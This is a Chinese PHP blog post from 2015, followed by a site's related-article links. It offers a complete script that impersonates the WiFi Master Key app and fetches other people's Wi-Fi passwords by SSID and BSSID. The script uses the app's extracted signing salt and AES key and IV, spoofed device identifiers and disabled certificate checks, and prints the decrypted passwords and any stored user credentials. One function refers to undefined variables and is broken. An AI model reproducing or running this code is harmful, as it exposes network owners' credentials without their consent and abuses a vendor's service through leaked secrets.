WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
将OICQ数据转成MYSQL数据
Oct 09 PHP
PHP3 safe_mode 失效漏洞
Oct 09 PHP
php 来访国内外IP判断代码并实现页面跳转
Dec 18 PHP
DW中链接mysql数据库时,建立字符集中文出现乱码的解决方法
Mar 27 PHP
php判断变量类型常用方法
Apr 24 PHP
PHP使用imagick读取PDF生成png缩略图的两种方法
Mar 20 PHP
php中explode函数用法分析
Nov 15 PHP
php实现将数组转换为XML的方法
Mar 09 PHP
php原生导出excel文件的两种方法(推荐)
Nov 19 PHP
Laravel学习教程之从入口到输出过程详解
Aug 27 PHP
php静态成员方法和静态的成员属性的使用方法
Oct 26 PHP
解决php用mysql方式连接数据库出现Deprecated报错问题
Dec 25 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
php中获取关键词及所属来源搜索引擎名称的代码
2011/02/15 PHP
php文件类型MIME对照表(比较全)
2016/10/07 PHP
PHP开发中解决并发问题的几种实现方法分析
2017/11/13 PHP
如何通过Apache在本地配置多个虚拟主机
2020/07/29 PHP
jQuery ui 1.7更新小结
2009/08/15 Javascript
js css样式操作代码(批量操作)
2009/10/09 Javascript
javascript权威指南 学习笔记之javascript数据类型
2011/09/24 Javascript
jquery 无限级联菜单案例分享
2013/03/26 Javascript
JQuery实现表格中相同单元格合并示例代码
2013/06/26 Javascript
BootStrap的Datepicker控件使用心得分享
2016/05/25 Javascript
微信小程序遇到修改数据后页面不渲染的问题解决
2017/03/09 Javascript
JS优化与惰性载入函数实例分析
2017/04/06 Javascript
ES6中Proxy代理用法实例浅析
2017/04/06 Javascript
Angular实现下载安装包的功能代码分享
2017/09/05 Javascript
工作中常用到的ES6语法
2018/09/04 Javascript
vue从一个页面跳转到另一个页面并携带参数的解决方法
2019/08/12 Javascript
vue学习笔记之给组件绑定原生事件操作示例
2020/02/27 Javascript
在vue中使用Echarts利用watch做动态数据渲染操作
2020/07/20 Javascript
JS前后端实现身份证号验证代码解析
2020/07/23 Javascript
详解React的回调渲染模式
2020/09/10 Javascript
JS实现密码框效果
2020/09/10 Javascript
详解template标签用法(含vue中的用法总结)
2021/01/12 Vue.js
Python实现 多进程导入CSV数据到 MySQL
2017/02/26 Python
python中学习K-Means和图片压缩
2017/11/20 Python
和孩子一起学习python之变量命名规则
2018/05/27 Python
python/sympy求解矩阵方程的方法
2018/11/08 Python
Django框架自定义模型管理器与元选项用法分析
2019/07/22 Python
Python简易版停车管理系统
2019/08/12 Python
Python Opencv提取图片中某种颜色组成的图形的方法
2019/09/19 Python
python3 assert 断言的使用详解 (区别于python2)
2019/11/27 Python
Python操作Excel工作簿的示例代码(\*.xlsx)
2020/03/23 Python
世界上最好的帽子:Tilley
2016/11/27 全球购物
香港通票:Hong Kong Pass
2019/02/26 全球购物
公司财务自我评价分享
2013/12/17 职场文书
毕业论文答辩开场白
2015/05/27 职场文书
2016年党员读书月活动总结
2016/04/06 职场文书